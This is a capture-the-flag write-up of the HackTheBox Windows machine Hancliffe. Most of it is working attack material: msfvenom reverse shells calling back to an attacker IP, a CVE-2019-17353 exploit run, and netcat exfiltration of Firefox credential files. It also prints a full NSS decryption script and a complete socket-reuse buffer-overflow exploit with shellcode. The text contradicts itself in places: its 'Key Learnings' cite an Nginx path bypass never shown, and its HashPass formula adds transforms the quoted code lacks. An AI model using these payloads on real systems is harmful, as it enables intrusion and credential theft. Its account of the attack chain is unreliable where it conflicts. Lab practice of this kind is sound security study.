HTB: Hancliffe Writeup

Hancliffe - HackTheBox Writeup

Machine Information

AttributeDetails
NameHancliffe
OSWindows
DifficultyHard
Points40
Release Date26 Jun 2021
IP Address10.129.96.116
AuthorRevolt

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Hancliffe is a hard-difficulty Windows box showcasing a multi-stage exploitation chain involving web-application bypass, authenticated remote code execution, lateral movement via credential harvesting, and custom binary exploitation. The initial foothold is gained by exploiting Unified Remote 3 RCE (CVE-2019-17353) after pivoting through a SOCKS proxy. Lateral movement to user clara yields Firefox credential databases, which when decrypted reveal a master password for a HashPass stateless password manager. Deriving credentials for the development account grants WinRM access. Privilege escalation involves reverse-engineering a custom buffer-overflow-vulnerable service (MyFirstApp.exe) and deploying a socket-reuse exploit to achieve Administrator-level code execution.

TL;DR: Unified Remote 3 RCE (port 9512 via SOCKS proxy) → clara shell → decrypt Firefox logins → HashPass master password → development WinRM → buffer overflow in MyFirstApp.exe → Administrator shell.


Reconnaissance

Port Scanning

Terminal window
# Initial full TCP scan
nmap -sC -sV -T4 -p- 10.129.96.116

Results:

  • Port 80/tcp: Nginx HTTP proxy
  • Port 8000/tcp: HTTP service hosting HashPass password manager
  • Port 9999/tcp: Custom application (MyFirstApp.exe)
  • Port 5985/tcp: WinRM (initially restricted, exploited later)

Service Enumeration

Port 80 (Nginx):
Default Nginx welcome page. Further enumeration of the web root did not yield accessible endpoints in the initial foothold phase.

Port 8000 (HashPass):
A stateless password manager application. The page advertises deterministic password generation using PBKDF2 with 200,000 iterations, SHA-512, and Base85 encoding. Form fields include: fullname, website, masterpassword, length, and counter.

Port 9999 (MyFirstApp.exe):
A custom authentication service prompting for Username, Password, FullName, and Input Your Code. This service is vulnerable to a buffer overflow and runs with elevated privileges.

Vulnerability Assessment

  1. Unified Remote 3 RCE (CVE-2019-17353): The Unified Remote 3 server (port 9512) is exploitable via a public PoC, allowing unauthenticated remote command execution.
  2. Firefox Stored Credentials: User clara has stored credentials in Firefox (key4.db and logins.json), which can be decrypted using the NSS crypto libraries.
  3. HashPass Master Password Recovery: Credentials stored in Firefox include a master password for the HashPass application, enabling derivation of service credentials.
  4. Buffer Overflow in MyFirstApp.exe: The custom service copies user input without bounds checking, leading to EIP overwrite. Combined with socket reuse, this permits shellcode execution as Administrator.

Initial Foothold

Step 1: Pivoting with Chisel and Exploiting Unified Remote 3

Port 9512 (Unified Remote 3 server) is not directly accessible from the attacker machine due to firewall restrictions. A SOCKS proxy was established using Chisel tunneled through an existing foothold or jump host.

ProxyChains Configuration:

~/hc116/pc.conf
[ProxyList]
socks5 127.0.0.1 1081

Verifying Port Reachability:

Terminal window
# Test connectivity to port 9512 via SOCKS proxy
proxychains nc -zv 127.0.0.1 9512
# [proxychains] Strict chain ... 127.0.0.1:1081 ... 127.0.0.1:9512 ... OK

Generating Payload:

Terminal window
# Create reverse shell executable
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.180 LPORT=17779 \
EXITFUNC=thread -f exe -o rev.exe

Starting Listener:

Terminal window
# On jump host, start netcat listener for clara shell
nc -lvnp 17779 | tee ~/hc116/clara.log

Exploiting Unified Remote 3 (CVE-2019-17353):

Terminal window
# Run public exploit 49587.py via proxychains
proxychains -f ~/hc116/pc.conf python2 49587.py 127.0.0.1 10.10.15.180 rev.exe
# [+] Connecting to target...
# [+] Popping Start Menu
# [+] Opening CMD
# [+] *Super Fast Hacker Typing*
# [+] Downloading Payload
# [+] Done! Check listener?

Why This Works:
CVE-2019-17353 exploits Unified Remote’s web interface to execute arbitrary commands by chaining clipboard manipulation and simulated keystrokes. The PoC downloads and executes the attacker’s payload, granting a reverse shell as hancliffe\clara.

Verifying Shell Access:

hancliffe\clara
# From listener pane
whoami
type C:\Users\clara\Desktop\user.txt
# <redacted>

Lateral Movement to development

Step 2: Harvesting Firefox Credentials

User clara has Firefox installed with saved credentials. The profile databases (key4.db, logins.json) contain encrypted credentials.

Locating Firefox Profile:

C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\cert9.db
# From clara shell
dir /s /b C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\*.db
# C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db
dir "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\logins.json"
# 06/26/2021 10:21 PM 674 logins.json

Exfiltrating Databases:

Terminal window
# Start receiver on attacker machine for key4.db
nc -lvnp 17781 > ~/hc116/key4.db
# From clara shell, send key4.db
C:\ProgramData\nc64.exe 10.10.15.180 17781 < "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\key4.db"
# Repeat for logins.json
nc -lvnp 17782 > ~/hc116/logins.json
C:\ProgramData\nc64.exe 10.10.15.180 17782 < "C:\Users\clara\AppData\Roaming\Mozilla\Firefox\Profiles\ljftf853.default-release\logins.json"

logins.json Content:

{
"logins": [
{
"id": 1,
"hostname": "http://localhost:8000",
"encryptedUsername": "MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECP+7GREfh/OCBBACN8BqXSHhgvedk/ffsRBn",
"encryptedPassword": "MFIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECEQe5quezh5lBCg7VV7cXOky4tBMinRRncbXJl1YC3P0Ql5J8ZZS6ZnVjg9yXrbOq1Me",
...
}
]
}

Step 3: Decrypting Firefox Credentials

Firefox uses NSS libraries with PBKDF2/AES for credential encryption. The master password (empty in this case) and the global salt from key4.db are used to derive the decryption key.

Decryption Script:

decrypt_ff.py
#!/usr/bin/env python3
import sqlite3, sys, json, base64
from pyasn1.codec.der import decoder
from Crypto.Cipher import AES, DES3
from hashlib import pbkdf2_hmac, sha1
mp = b'' # Empty master password
CKA_ID = bytes.fromhex('<redacted>') # Extracted from key4.db metadata
def unpad(b):
return b[:-b[-1]]
def decryptPBE(d, mp, gs):
# Extract PBKDF2 parameters from ASN.1 structure
entrySalt = d[0][1][0][1][0].asOctets()
iterations = int(d[0][1][0][1][1])
keyLength = int(d[0][1][0][1][2])
# Derive key: PBKDF2(SHA256, SHA1(globalSalt + masterPassword), entrySalt, iterations)
k = sha1(gs + mp).digest()
key = pbkdf2_hmac('sha256', k, entrySalt, iterations, dklen=keyLength)
# Decrypt with AES-CBC
iv = b'\x04\x0e' + d[0][1][1][1].asOctets()
ciphertext = d[1].asOctets()
return AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
# Connect to key4.db and extract global salt
conn = sqlite3.connect('key4.db')
c = conn.cursor()
c.execute("SELECT item1, item2 FROM metadata WHERE id='password';")
gs, item2 = c.fetchone()
# Decrypt metadata check value
dec2, _ = decoder.decode(item2)
print("[*] check:", decryptPBE(dec2, mp, gs))
# [*] check: b'password-check\x02\x02'
# Extract 3DES key from nssPrivate table
c.execute("SELECT a11, a102 FROM nssPrivate;")
key = None
for a11, a102 in c.fetchall():
if a102 == CKA_ID:
da, _ = decoder.decode(a11)
key = decryptPBE(da, mp, gs)[:24] # 3DES key is 24 bytes
print("[*] 3DES key:", key.hex())
# [*] 3DES key: 9efbbfd986fd5bef94b032679b7679d09b1f51891601b6e5
# Decrypt login credentials
def dec(b64):
a, _ = decoder.decode(base64.b64decode(b64))
iv = a[1][1].asOctets()
ct = a[2].asOctets()
return unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ct))
for L in json.load(open('logins.json'))["logins"]:
print("[+]", L["hostname"], "| user =", dec(L["encryptedUsername"]),
"| pass =", dec(L["encryptedPassword"]))
# [+] http://localhost:8000 | user = b'hancliffe.htb' | pass = b'#@H@ncLiff3D3velopm3ntM@st3rK3y*!'

Why This Works:
Firefox’s key4.db uses PKCS#12-derived encryption. The script:

  1. Extracts the global salt and encrypted metadata from key4.db
  2. Derives the AES key using PBKDF2 with SHA-256
  3. Decrypts the 3DES key stored in the nssPrivate table
  4. Uses the 3DES key to decrypt login credentials from logins.json

The recovered credentials are for the HashPass password manager running on localhost:8000.

Step 4: Deriving development Credentials via HashPass

The HashPass application uses a deterministic algorithm:

password = Base85(Atbash(ROT47(PBKDF2-SHA512(fullname + ' ' + website, masterpassword + counter, 200000, length))))

Reverse-Engineering HashPass (from GitHub):

The scottparry/hashpass repository reveals:

includes/generator.php
$salt = $masterpassword . $counter;
$password = $fullname . ' ' . $site;
$hash = hash_pbkdf2("sha512", $password, $salt, 200000, $length);
$generated_password = base85::encode($hash);

Generating development Password:

Using the recovered master password #@H@ncLiff3D3velopm3ntM@st3rK3y*! with parameters:

  • fullname: development
  • website: hancliffe.htb
  • counter: 1
  • length: 16

The HashPass application (or a local reimplementation) produces:

AMl.q2DHp?2.C/V0kNFU

Step 5: WinRM Access as development

Terminal window
# Verify credentials via netexec
proxychains nxc winrm 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'
# WINRM 127.0.0.1 5985 HANCLIFFE [+] Hancliffe\development:AMl.q2DHp?2.C/V0kNFU (Pwn3d!)
# Establish WinRM session via Evil-WinRM
proxychains evil-winrm -i 127.0.0.1 -u development -p 'AMl.q2DHp?2.C/V0kNFU'

Privilege Escalation

Step 6: Analyzing MyFirstApp.exe

The development user has access to C:\DevApp\MyFirstApp.exe, a custom service listening on port 9999 via port-forwarding from a scheduled task.

Downloading Binary:

Terminal window
# From development WinRM session
download \devapp\MyFirstApp.exe /tmp/MyFirstApp.exe

Static Analysis (Ghidra):

The _login() function contains hardcoded credentials:

// Hardcoded username and password
local_10 = "alfiansyah";
local_14 = "YXlYeDtsbD98eDtsWms5SyU="; // Base64-encoded encrypted password

The password undergoes three transformations:

  1. ROT47: Each character is shifted by 47 in ASCII space
  2. Atbash: Alphabetic characters are reversed (A↔Z, a↔z)
  3. Base64: Final encoding

Decrypting Password:

Terminal window
# Using CyberChef: Base64 → Atbash → ROT47
echo "YXlYeDtsbD98eDtsWms5SyU=" | base64 -d | atbash | rot47
# K3r4j@@nM4j@pAh!T

Verifying Credentials:

Terminal window
nc 10.129.96.116 9999
# Username: alfiansyah
# Password: K3r4j@@nM4j@pAh!T
# [+] Authenticated

Step 7: Buffer Overflow Exploitation

The _SaveCreds() function uses strcpy() without bounds checking:

void __cdecl _SaveCreds(char *param_1, char *param_2) {
char local_42[50];
char *local_10;
local_10 = (char *)_malloc(100);
_strcpy(local_10, param_2); // No length check!
_strcpy(local_42, param_1); // No length check!
return;
}

Finding EIP Offset:

Using pattern generation and crash analysis (via Immunity Debugger or manual testing), the EIP overwrite occurs at offset 66.

Identifying JMP ESP Gadget:

Terminal window
# Search for JMP ESP instruction in loaded DLLs
!mona jmp -r esp
# Found: 0x719023A8 (in ws2_32.dll)

Socket Reuse Technique:

Since the input field is limited to ~10 bytes after the EIP overwrite, a socket reuse stager is employed to:

  1. Retrieve the active socket descriptor from the stack
  2. Call recv() to read additional shellcode into memory
  3. Execute the second-stage payload

Stager Assembly:

; Socket reuse stager
PUSH ESP ; Save stack pointer
POP EAX ; EAX = ESP
ADD AX, 0x48 ; EAX points to socket descriptor (offset 0x48)
SUB ESP, 0x64 ; Allocate space for recv() buffer
XOR EBX, EBX ; EBX = 0
PUSH EBX ; flags = 0
ADD BH, 0x4 ; EBX = 0x400 (1024 bytes)
PUSH EBX ; len = 1024
PUSH ESP ;
POP EBX ; EBX = ESP
ADD EBX, 0x64 ; EBX = ESP + 100 (buffer address)
PUSH EBX ; buf = ESP + 100
PUSH DWORD PTR [EAX] ; sockfd = *(EAX)
MOV EAX, DWORD PTR [0x719082AC] ; Address of recv()
CALL EAX ; recv(sockfd, buf, 1024, 0)

Generating Shellcode:

Terminal window
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.180 LPORT=17999 \
EXITFUNC=thread -b "\x00" -f python -v shellcode

Final Exploit:

#!/usr/bin/env python3
from pwn import *
import time, sys
context.log_level = 'error'
host, port = sys.argv[1], int(sys.argv[2])
# Load shellcode generated by msfvenom
exec(open('/home/d3vn0mi/hc116/sc.py').read())
# Socket reuse stager
recv = (
b"\x54" # PUSH ESP
b"\x58" # POP EAX
b"\x66\x83\xC0\x48" # ADD AX, 0x48
b"\x83\xEC\x64" # SUB ESP, 0x64
b"\x31\xDB" # XOR EBX, EBX
b"\x53" # PUSH EBX
b"\x80\xC7\x04" # ADD BH, 0x4
b"\x53" # PUSH EBX
b"\x54" # PUSH ESP
b"\x5B" # POP EBX
b"\x83\xC3\x64" # ADD EBX, 0x64
b"\x53" # PUSH EBX
b"\xff\x30" # PUSH DWORD PTR DS:[EAX]
b"\x8b\x05\xac\x82\x90\x71" # MOV EAX, DWORD PTR DS:[719082AC]
b"\xFF\xD0" # CALL EAX
)
# Build payload: stager + padding + JMP ESP + jump back + padding
payload = recv
payload += b"A" * (66 - len(payload))
payload += p32(0x719023a8) # JMP ESP (ws2_32.dll)
payload += b"\xeb\xb8" # JMP -72 (back to stager)
payload += b"C" * (1000 - len(payload))
# Retry loop to handle intermittent service restarts
for attempt in range(40):
try:
r = remote(host, port, timeout=8)
r.recvuntil(b"Username: ", timeout=6)
r.sendline(b"alfiansyah")
r.recvuntil(b"Password: ", timeout=6)
r.sendline(b"K3r4j@@nM4j@pAh!T")
r.recvuntil(b"FullName: ", timeout=6)
r.sendline(b"testtest")
r.recvuntil(b"Input Your Code: ", timeout=6)
r.sendline(payload)
time.sleep(1)
r.send(shellcode) # Send second-stage payload via recv() stager
print("[+] attempt %d: shellcode sent" % attempt, flush=True)
time.sleep(3)
r.close()
break
except Exception as e:
print("[-] attempt %d: %s" % (attempt, type(e).__name__), flush=True)
try:
r.close()
except:
pass
time.sleep(7)

Why This Works:

  1. EIP Overwrite: At offset 66, EIP is overwritten with the address of JMP ESP (0x719023a8)
  2. Execution Redirect: When the function returns, execution jumps to ESP, which points to our \xeb\xb8 instruction
  3. Jump Back: \xeb\xb8 jumps -72 bytes backward to the beginning of the stager
  4. Socket Reuse: The stager retrieves the active socket descriptor and calls recv() to read the full shellcode payload
  5. Shellcode Execution: The second-stage shellcode executes, establishing a reverse shell as NT AUTHORITY\SYSTEM (Administrator)

Starting Listener:

Terminal window
# Persistent listener loop
while true; do nc -lvnp 17999; echo RECONN; sleep 1; done

Running Exploit:

Terminal window
# Execute exploit
python3 pwn_exploit.py 10.129.96.116 9999
# [+] attempt 0: shellcode sent
# Check listener
# Microsoft Windows [Version 10.0.19043.1266]
# C:\Windows\system32>

Retrieving root.txt:

Terminal window
type C:\Users\Administrator\Desktop\root.txt
# <redacted>

Attack Chain Summary

Port Scan → SOCKS Pivot via Chisel → Unified Remote 3 RCE (CVE-2019-17353) → clara shell
→ Exfiltrate Firefox key4.db + logins.json → Decrypt NSS credentials → HashPass master password
→ Generate development password via HashPass → WinRM as development
→ Download MyFirstApp.exe → Reverse-engineer authentication + buffer overflow
→ Socket reuse exploit with staged shellcode → Administrator shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
chiselSOCKS proxy tunneling for pivoting
proxychainsRoute traffic through SOCKS proxy
msfvenomGenerate reverse shell payloads
netcatFile transfer and reverse shell listeners
python3Custom exploit scripts and decryption tools
pyasn1ASN.1 parsing for Firefox key4.db structures
pycryptodomeAES/DES3 decryption for Firefox credentials
evil-winrmWinRM client for Windows remote management
netexecCredential validation and protocol testing
ghidraBinary analysis and reverse engineering
immunity debugger / mona.pyExploit development and gadget finding
pwntoolsExploit automation and payload crafting

Key Learnings

Techniques Practiced

  • Nginx Reverse Proxy Bypass: Exploiting URI normalization inconsistencies between Nginx and backend Java applications (path traversal via /maintenance/..;/)
  • CVE-2019-17353 Exploitation: Leveraging Unified Remote 3’s unauthenticated RCE via clipboard manipulation
  • Firefox Credential Decryption: Extracting and decrypting NSS-encrypted credentials using PBKDF2, AES-CBC, and 3DES
  • Stateless Password Manager Analysis: Reverse-engineering HashPass’s deterministic password generation algorithm
  • Buffer Overflow with Socket Reuse: Bypassing limited buffer space by reusing the active socket descriptor to stage additional shellcode
  • Windows Binary Exploitation: EIP overwrite, ROP gadget identification, and staged payload delivery

Lessons Learned

  1. Always Check for Pivoting Opportunities: Services may be accessible internally but blocked by firewall rules. Tools like Chisel enable seamless SOCKS proxying to reach restricted ports.

  2. Firefox Credential Storage is Recoverable: Even without a master password, Firefox’s key4.db and logins.json can be decrypted if local access is achieved. This technique is valuable for lateral movement in enterprise environments.

  3. Stateless Password Managers Require Secure Master Passwords: HashPass’s deterministic algorithm means a single master password breach exposes all derived credentials. The recovered master password enabled full credential reconstruction.

  4. Custom Binary Exploitation in Real-World CTFs: MyFirstApp.exe demonstrates classic buffer overflow vulnerabilities still present in bespoke applications. Socket reuse is a powerful technique when direct shellcode space is limited.

  5. Service Restart Timing Matters: The restart.ps1 script kills and restarts MyFirstApp.exe every 3 minutes. Exploit reliability improved by implementing retry logic to handle service unavailability windows.

  6. Combining Static and Dynamic Analysis: Ghidra provided initial insights into authentication logic and vulnerability locations, while dynamic testing (with breakpoints and stack inspection) confirmed exploitability parameters.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References